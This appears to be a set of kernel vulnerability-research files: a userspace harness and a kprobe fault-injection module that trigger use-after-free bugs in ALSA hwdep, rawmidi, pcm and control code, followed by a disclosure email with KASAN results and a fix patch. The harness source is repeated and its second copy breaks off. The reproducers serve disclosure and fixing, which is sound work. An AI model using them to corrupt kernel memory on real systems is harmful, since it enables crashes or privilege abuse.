* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md). *
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open

 *                      /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
 *                      once, HOLD the fd across the kernel-side
 *                      snd_emux_free() (host script triggers it), then
 *                      ioctl + close on the freed hwdep -> real
 *                      snd_hwdep_release() derefs freed hw (hw->card->module,
 *                      mutex_lock(&hw->open_mutex), hw->used--).
 *   mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
 *                      synth report's mr03, re-attributed): open + ioctl
 *                      hammer while the free runs on the other side.
 *   mr03midi [secs]  - FW-MR-03: poll for /dev/snd/midiC0D0, open
 *                      O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
 *                      snd_virmidi_output_open INIT_WORK), write MIDI bytes
 *                      (real snd_rawmidi_output_trigger -> queue_work
 *                      system_highpri_wq), HOLD across fw3_free, write
 *                      again (in-flight work + write path on freed rmidi),
 *                      close (snd_rawmidi_release on freed rmidi).
 *   mr04pcm [secs]   - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
 *                      snd_pcm_open, ref_count=1), hammer
 *                      SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
 *                      (snd_device_free(card, pcm)), ioctl + close on the
 *                      freed substream/pcm (real snd_pcm_release path).
 *   mr01read [secs]  - FW-MR-01 reader side: hammer
 *                      SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
 *                      /dev/snd/controlC0 while a dangling (freed but
 *                      still-linked) jack kcontrol sits in card->controls.
 *   mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
 *                      ELEM_REMOVE of a user control with iface=CARD whose
 *                      name is copied from an existing CARD control (same
 *                      ctl_hash key as the jack controls the reconfig probe
 *                      looks up locklessly in get_available_index()).

* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

static void waitdev(const char *path, int timeout_ms)

{
	int waited = 0;
	struct stat st;

	while (stat(path, &st) != 0) {
		if (waited >= timeout_ms)
			return;
		usleep(20000);
		waited += 20;
	}
}

/* ---- FW-MR-02 ---- */

static int plan_mr02hold(int secs)

{
	int fd;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
	fflush(stdout);
	printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
	fflush(stdout);
	ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
	printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
	fflush(stdout);
	close(fd);
	printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HOLD: done\n");
	return 0;
}

static int plan_mr02hammer(int iters)

{
	int fd, i;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HAMMER: %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		if ((i % 256) == 0) {
			printf("MR02HAMMER: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR02HAMMER: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HAMMER: done\n");
	return 0;
}

/* ---- FW-MR-03 ---- */

static int plan_mr03midi(int secs)

{
	int fd, n = 0;
	unsigned char msg[3] = { 0x90, 0x40, 0x7f };

	waitdev("/dev/snd/midiC0D0", 15000);
	fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
	if (fd < 0) {
		fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
	fflush(stdout);
	/* a few writes: each runs snd_rawmidi_kernel_write1 ->
	 * snd_rawmidi_output_trigger(substream, 1) -> queue_work */
	for (n = 0; n < 32; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: %d writes queued; holding fd for %ds "
		"(host frees emux now)\n", n, secs);
	fflush(stdout);
	sleep(secs);
	printf("MR03MIDI: writing again on freed rmidi\n");
	fflush(stdout);
	for (n = 0; n < 8; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
	fflush(stdout);
	close(fd);
	printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
	printf("MR03MIDI: done\n");
	return 0;
}

/* ---- FW-MR-04 ---- */

static int plan_mr04pcm(int secs)

{
	int fd, i;
	unsigned int ver = 0;
	struct snd_pcm_info info;

	waitdev("/dev/snd/pcmC1D0p", 15000);
	fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
	fflush(stdout);
	for (i = 0; i < 64; i++) {
		ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
		memset(&info, 0, sizeof(info));
		ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
		usleep(1000);
	}
	printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
		"(host frees pcm now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
	fflush(stdout);
	memset(&info, 0, sizeof(info));
	ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
	printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
	fflush(stdout);
	close(fd);
	printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/pcmC1D0p", O_WRONLY));
	printf("MR04PCM: done\n");
	return 0;
}

/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */

static int ctl_open(void)

{
	int fd = open("/dev/snd/controlC0", O_RDWR);

	if (fd < 0)
		fprintf(stderr, "open controlC0: %s\n", strerror(errno));
	return fd;
}

static int plan_mr01read(int secs)

{
	int fd, i, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
	fflush(stdout);
	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&list, 0, sizeof(list));
		list.offset = 0;
		list.space = 256;
		list.pids = ids;
		err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
		if (err < 0)
			break;
		for (n = 0; n < (int)list.count && n < 256; n++) {
			memset(&info, 0, sizeof(info));
			info.id = ids[n];
			ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		}
		if ((++i % 64) == 0) {
			printf("MR01READ: round %d (count=%u)\n", i, list.count);
			fflush(stdout);
		}
		usleep(2000);
	}
	printf("MR01READ: done (%d rounds)\n", i);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr06storm(int secs)

{
	int fd, card, i, added = 0;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	struct snd_ctl_elem_id remove_id;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	/* take the name of an existing CARD-interface control so the user
	 * control shares the ctl_hash key of the jack controls that the
	 * reconfig probe's get_available_index() looks up locklessly */
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
		fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	memset(&info, 0, sizeof(info));
	for (i = 0; i < (int)list.count && i < 256; i++) {
		info.id = ids[i];
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
			continue;
		if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
			break;
	}
	if (i >= (int)list.count) {
		fprintf(stderr, "no CARD control found\n");
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR06STORM: adding/removing iface=CARD user control '%s' "
		"for %ds\n", info.id.name, secs);
	fflush(stdout);

	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&info, 0, sizeof(info));
		info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
		strncpy((char *)info.id.name, "Headphone Jack",
			sizeof(info.id.name) - 1);
		info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
		info.count = 1;
		info.owner = 0;
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
			goto drop;
		added++;
		remove_id = info.id;
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
		if ((++i % 256) == 0) {
			printf("MR06STORM: round %d (added=%d)\n", i, added);
			fflush(stdout);
		}
		usleep(500);
	}
	(void)card;
	printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr01dump(void)

{
	int fd, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
	if (err < 0) {
		printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
		list.count);
	fflush(stdout);
	for (n = 0; n < (int)list.count && n < 256; n++) {
		memset(&info, 0, sizeof(info));
		info.id = ids[n];
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		printf("MR01DUMP: numid=%-5u iface=%d %s\n",
			ids[n].numid, ids[n].iface, ids[n].name);
		fflush(stdout);
	}
	free(ids);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "mr02hold"))
		return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
	if (!strcmp(argv[1], "mr02hammer"))
		return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
	if (!strcmp(argv[1], "mr03midi"))
		return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr04pcm"))
		return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr01dump"))
		return plan_mr01dump();
	if (!strcmp(argv[1], "mr01read"))
		return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
	if (!strcmp(argv[1], "mr06storm"))
		return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
	if (!strcmp(argv[1], "waitdev"))
		return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr01.c - dynamic verification harness for audit case FW-MR-01
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "snd_jack_kctl_new() 在 snd_ctl_add() 发布后于错误回滚中无锁调用
* snd_ctl_free_one(),导致 struct snd_kcontrol UAF / Double-Free"
*
* The audited bug requires the kzalloc_obj(*jack_kctl) at jack.c:440 to
* fail AFTER snd_ctl_add() already published the kctl. This kernel
* (build-kasan-hda-7.3) has no CONFIG_FAULT_INJECTION, so the failure is
* injected surgically with the project's kprobe-addr method:
*

 *   snd_jack_kctl_new+0x56 is the instruction right after the
 *   `call __kmalloc_cache_noprof` that implements kzalloc_obj
 *   (objdump, build-kasan-hda-7.3/vmlinux, [email protected]:
 *       ...147: call snd_ctl_add
 *       ...14c: test %eax,%eax
 *       ...14e: js   +0xb5          <- add-failure path (kctl NOT added)
 *       ...171: call __kmalloc_cache_noprof
 *       ...176: mov  %rax,%rbp      <- INJECTION POINT: kzalloc return
 *       ...179: test %rax,%rax
 *       ...17c: je   +0xad -> call snd_ctl_free_one(kctl)   <- audited

* error rollback that frees the STILL-LINKED kctl).
*
* A kprobe post_handler at +0x56 clears %rax exactly once while armed,
* which makes the real in-tree snd_jack_kctl_new() take the audited
* error branch: snd_ctl_free_one(kctl) kfree()s a control that remains
* linked in card->controls + ctl_numids + ctl_hash -- the persistent
* dangling state of FW-MR-01. The reconfig writer then aborts its probe
* (-ENOMEM from the first jack), leaving the dangling kctl behind; the
* concurrent control-face reader (fwmr_test mr01read) walks card->controls
* and derefs the freed kctl (UAF), and the final PCI unbind runs
* snd_ctl_dev_free() over the dangling entry (double-free).
*
* Zero kernel source modification; the audited code is the byte-identical
* in-tree vmlinux (offset validated against live opcode bytes before use). */
#define pr_fmt(fmt) "FWMR01: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>

/* offset of mov %rax,%rbp (kzalloc return point) inside
* snd_jack_kctl_new, from build-kasan-hda-7.3/vmlinux objdump */
#define FW01_KZALLOC_RET_OFF 0x56

static struct kprobe fw01_kp;
static void *fw01_base;
static atomic_t fw01_armed = ATOMIC_INIT(0);
static atomic_t fw01_injected = ATOMIC_INIT(0);

static int fw01_pre(struct kprobe *p, struct pt_regs *regs)

{
	return 0;
}

static void fw01_post(struct kprobe *p, struct pt_regs *regs, unsigned long flags)

{
	if (atomic_read(&fw01_armed) && !atomic_xchg(&fw01_injected, 1)) {
		pr_info("injecting kzalloc failure: %ps returned, clearing "
			"%%rax -> jack.c:443 goto error -> jack.c:453 "
			"snd_ctl_free_one(kctl) on a PUBLISHED control\n",
			current->comm);
		regs->ax = 0;
	}
}

static int fw01_arm_set(const char *val, const struct kernel_param *kp)

{
	const unsigned char *op;
	int rc;

	if (atomic_read(&fw01_injected))
		return -EALREADY;
	if (!fw01_base)
		return -ENOENT;

	/* live opcode guard: must still be `48 89 c5` (mov %rax,%rbp) */
	op = (const unsigned char *)(fw01_base + FW01_KZALLOC_RET_OFF);
	if (op[0] != 0x48 || op[1] != 0x89 || op[2] != 0xc5) {
		pr_err("offset guard failed: bytes %02x %02x %02x != 48 89 c5 "
			"-- refusing to arm (build drift)\n",
			op[0], op[1], op[2]);
		return -EINVAL;
	}

	fw01_kp.addr = fw01_base + FW01_KZALLOC_RET_OFF;
	fw01_kp.pre_handler = fw01_pre;
	fw01_kp.post_handler = fw01_post;
	rc = register_kprobe(&fw01_kp);
	if (rc < 0) {
		pr_err("register_kprobe(+0x%x) failed: %d\n",
		       FW01_KZALLOC_RET_OFF, rc);
		return rc;
	}
	atomic_set(&fw01_armed, 1);
	pr_info("armed: kprobe at snd_jack_kctl_new+0x%x (%pB), one-shot\n",
		FW01_KZALLOC_RET_OFF, fw01_kp.addr);
	return 0;
}

static const struct kernel_param_ops fw01_arm_ops = { .set = fw01_arm_set }; module_param_cb(arm, &fw01_arm_ops, NULL, 0200);

static int fw01_status_get(char *buf, const struct kernel_param *kp)

{
	return sysfs_emit(buf, "armed=%d injected=%d base=%px\n",
			  atomic_read(&fw01_armed),
			  atomic_read(&fw01_injected), fw01_base);
}

static const struct kernel_param_ops fw01_status_ops = { .get = fw01_status_get }; module_param_cb(status, &fw01_status_ops, NULL, 0400);

static int __init fwmr01_init(void)

{
	struct kprobe probe;
	void *addr;

	/* resolve the (static) symbol via kallsyms through a throwaway
	 * kprobe -- same technique as kmod/synth/synthrace.c and
	 * kmod/nmi/nmi_race.c */
	memset(&probe, 0, sizeof(probe));
	probe.symbol_name = "snd_jack_kctl_new";
	if (register_kprobe(&probe) < 0) {
		pr_err("cannot resolve snd_jack_kctl_new via kallsyms\n");
		return -ENOENT;
	}
	addr = probe.addr;
	unregister_kprobe(&probe);

	fw01_base = addr;
	pr_info("snd_jack_kctl_new @ %px; injection offset +0x%x "
		"(kzalloc return point, jack.c:440)\n",
		addr, FW01_KZALLOC_RET_OFF);
	pr_info("write 1 to .../parameters/arm to arm one-shot injection, "
		"then trigger a codec reconfig\n");
	return 0;
}

static void __exit fwmr01_exit(void)

{
	if (fw01_kp.addr) {
		unregister_kprobe(&fw01_kp);
		fw01_kp.addr = NULL;
	}
}

module_init(fwmr01_init);
module_exit(fwmr01_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-01 jack kzalloc-failure injection harness");

author
#127 lore raw

ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)

In reply to Greg KH

An ALSA sub-driver that registers devices on a live card -- here the emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind the sequencer device framework -- removes its hwdep device with snd_device_free() on its own remove path. That synchronously runs snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex and hwdep->open_mutex, wakes the open waiters, unregisters the minor and drops off the registry, without waiting for hw->used to drop and without replacing any file->f_op -- and then snd_hwdep_free() kfree()s struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps file->private_data pointing at the freed object: in-flight ioctls dereference it (hw->ops, hwdep.c:251-252), a close() runs snd_hwdep_release() on it (hw->card->module read, mutex_lock on the freed open_mutex, hw->used--), and a future open() fails with -ENODEV while the dangling fd stays armed. We reproduced both shapes on vanilla 7.3: a deterministic variant (hold an fd across the sub-driver free, then ioctl+close) hit six distinct use-after-free reports inside snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight variant (ioctl hammer racing the free) produced 119 reports (snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73 walking hw->private_data into the freed emux). The sequencer device framework holds no module reference for bound devices and the hwdep f_ops owner is the ALSA core module, so rmmod snd_emu10k1_synth is not blocked by the open fd. Removing the sub-driver requires root; holding and using the fd needs no privilege.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM x86_64 guest. The emux/sequencer/virmidi code is the byte-identical in-tree modules (built from an unmodified tree with a config variant that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules); sound/core/hwdep.c and sound/synth/emux/* are byte-identical to mainline 7.3; line numbers below are from 7.3.

* Mechanism

- Open side holds no lifetime guarantee for the object:
snd_hwdep_open() pins the card (sound.c:111) and the card module (hwdep.c:88) only; the emux hwdep registers no ops.open/release (emux_hwdep.c:126-129), so opening pins no sub-driver module at all; success stores file->private_data = hw (hwdep.c:132) and the f_ops owner is the ALSA core module, so the fd outlives any module unload.

- Remove side is synchronous and does not drain:

    snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
    -> __snd_device_free() -> snd_hwdep_dev_disconnect()
    (hwdep.c:455-473: register_mutex + open_mutex held only briefly,
    wake_up(open_wait), minor unregistered, list_del_init) and then
    snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346).  There is no wait
    for hw->used == 0, no f_op swap, no cancelation point.

- Whole-card removal triggers the same free chain nested inside snd_device_disconnect_all() (the seq device's device_del() synchronously unbinds the sub-driver, whose remove calls the same snd_device_free()); there snd_card_disconnect() has already swapped file->f_op to the dummy shutdown ops, so only syscalls that are already in flight (past the f_op dispatch) can hit the freed object -- a narrower but real window, and it happens before the "wait until all files are closed" barrier runs.

- An open() parked inside its retry loop (hwdep.c:116-118: unlock ->

    schedule -> relock) is woken by the disconnect and then takes the
    mutex / reads hw->card->shutdown on the freed object; with
    exclusive==1 but used==0 (the emux hwdep registers no ops.open)
    the loop can even complete successfully on the disconnected,
    about-to-be-freed device.

* Trigger model

Two parts, both reachable on a soundfont-capable card (emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):

- the unprivileged part: open /dev/snd/hwC*D2 and use it (the exclusive flag limits concurrent openers, not lifetime);

- the privileged part: rmmod snd_emu10k1_synth (or sysfs unbind) while that fd is open or an ioctl is in flight.

Consequence: use-after-free reads/writes on struct snd_hwdep (including mutex_lock() on the freed open_mutex and an hw->ops.ioctl function-pointer load), plus a second-order UAF into the freed emux private data.

* Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3

synthrace.c registers a REAL emux on a virtual card through the exported emux API with exactly the snd_emu10k1_synth_probe/remove() shape (snd_emux_new -> ops -> snd_emux_register creating the real /dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body). Zero kernel source modification. fwmr_test.c is the userspace side.

    # controlled/deterministic (fd held across the free):
    insmod synthrace.ko
    ./fwmr_test mr02hold 4 &     # open, probe, hold, then ioctl+close
    sleep 2
    echo 1 > /sys/module/synthrace/parameters/free   # snd_emux_free()
    # in-flight variant:
    ./fwmr_test mr02hammer 20000 &               # ioctl hammer
    sleep 2
    echo 1 > /sys/module/synthrace/parameters/free

Results (7.3, 2 vCPU, KASAN):

- deterministic hold: first close after the free reports slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/ 0x9b/0xb3 (six distinct accesses on one close);

- in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f (hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen after the free returns -ENODEV as expected.

* Suggested patch

Anchor struct snd_hwdep's lifetime on its embedded device: a custom release callback performs the kfree(), every open file takes get_device(hw->dev) and every release path puts it back, and snd_hwdep_free() only drops the card/registry reference (the private_free ordering is deliberately unchanged). The complete patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch); happy to rework per review.

---- patch begins ----
---

sound/core/hwdep.c +19 -2
@@ -84,8 +84,10 @@
 		return -ENXIO;
 	if (hw == NULL)
 		return -ENODEV;
+	get_device(hw->dev);
 
 	if (!try_module_get(hw->card->module)) {
+		put_device(hw->dev);
 		snd_card_unref(hw->card);
 		return -ENODEV;
 	}
@@ -137,8 +139,10 @@
 		}
 	}
 	mutex_unlock(&hw->open_mutex);
-	if (err < 0)
+	if (err < 0) {
 		module_put(hw->card->module);
+		put_device(hw->dev);
+	}
 	snd_card_unref(hw->card);
 	return err;
 }
@@ -159,6 +163,7 @@
 
 	snd_card_file_remove(hw->card, file);
 	module_put(mod);
+	put_device(hw->dev);
 	return err;
 }
 
@@ -336,6 +341,18 @@
 	.mmap		=	snd_hwdep_mmap,
 };
 
+/*
+ * The struct snd_hwdep memory itself is freed by the embedded device's
+ * release callback once the last reference (an open file) is dropped;
+ * snd_hwdep_free() only drops the card/registry reference.
+ */
+static void snd_hwdep_dev_release(struct device *dev)
+{
+	struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
+
+	kfree(hwdep);
+}
+
 static void snd_hwdep_free(struct snd_hwdep *hwdep)
 {
 	if (!hwdep)
@@ -343,7 +360,6 @@
 	if (hwdep->private_free)
 		hwdep->private_free(hwdep);
 	put_device(hwdep->dev);
-	kfree(hwdep);
 }
 
 /**
@@ -390,6 +406,7 @@
 		snd_hwdep_free(hwdep);
 		return err;
 	}
+	hwdep->dev->release = snd_hwdep_dev_release;
 
 	dev_set_name(hwdep->dev, "hwC%iD%i", card->number, device);
 #ifdef CONFIG_SND_OSSEMUL

---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md). *
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open

 *                      /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
 *                      once, HOLD the fd across the kernel-side
 *                      snd_emux_free() (host script triggers it), then
 *                      ioctl + close on the freed hwdep -> real
 *                      snd_hwdep_release() derefs freed hw (hw->card->module,
 *                      mutex_lock(&hw->open_mutex), hw->used--).
 *   mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
 *                      synth report's mr03, re-attributed): open + ioctl
 *                      hammer while the free runs on the other side.
 *   mr03midi [secs]  - FW-MR-03: poll for /dev/snd/midiC0D0, open
 *                      O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
 *                      snd_virmidi_output_open INIT_WORK), write MIDI bytes
 *                      (real snd_rawmidi_output_trigger -> queue_work
 *                      system_highpri_wq), HOLD across fw3_free, write
 *                      again (in-flight work + write path on freed rmidi),
 *                      close (snd_rawmidi_release on freed rmidi).
 *   mr04pcm [secs]   - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
 *                      snd_pcm_open, ref_count=1), hammer
 *                      SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
 *                      (snd_device_free(card, pcm)), ioctl + close on the
 *                      freed substream/pcm (real snd_pcm_release path).
 *   mr01read [secs]  - FW-MR-01 reader side: hammer
 *                      SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
 *                      /dev/snd/controlC0 while a dangling (freed but
 *                      still-linked) jack kcontrol sits in card->controls.
 *   mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
 *                      ELEM_REMOVE of a user control with iface=CARD whose
 *                      name is copied from an existing CARD control (same
 *                      ctl_hash key as the jack controls the reconfig probe
 *                      looks up locklessly in get_available_index()).

* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

static void waitdev(const char *path, int timeout_ms)

{
	int waited = 0;
	struct stat st;

	while (stat(path, &st) != 0) {
		if (waited >= timeout_ms)
			return;
		usleep(20000);
		waited += 20;
	}
}

/* ---- FW-MR-02 ---- */

static int plan_mr02hold(int secs)

{
	int fd;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
	fflush(stdout);
	printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
	fflush(stdout);
	ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
	printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
	fflush(stdout);
	close(fd);
	printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HOLD: done\n");
	return 0;
}

static int plan_mr02hammer(int iters)

{
	int fd, i;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HAMMER: %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		if ((i % 256) == 0) {
			printf("MR02HAMMER: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR02HAMMER: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HAMMER: done\n");
	return 0;
}

/* ---- FW-MR-03 ---- */

static int plan_mr03midi(int secs)

{
	int fd, n = 0;
	unsigned char msg[3] = { 0x90, 0x40, 0x7f };

	waitdev("/dev/snd/midiC0D0", 15000);
	fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
	if (fd < 0) {
		fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
	fflush(stdout);
	/* a few writes: each runs snd_rawmidi_kernel_write1 ->
	 * snd_rawmidi_output_trigger(substream, 1) -> queue_work */
	for (n = 0; n < 32; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: %d writes queued; holding fd for %ds "
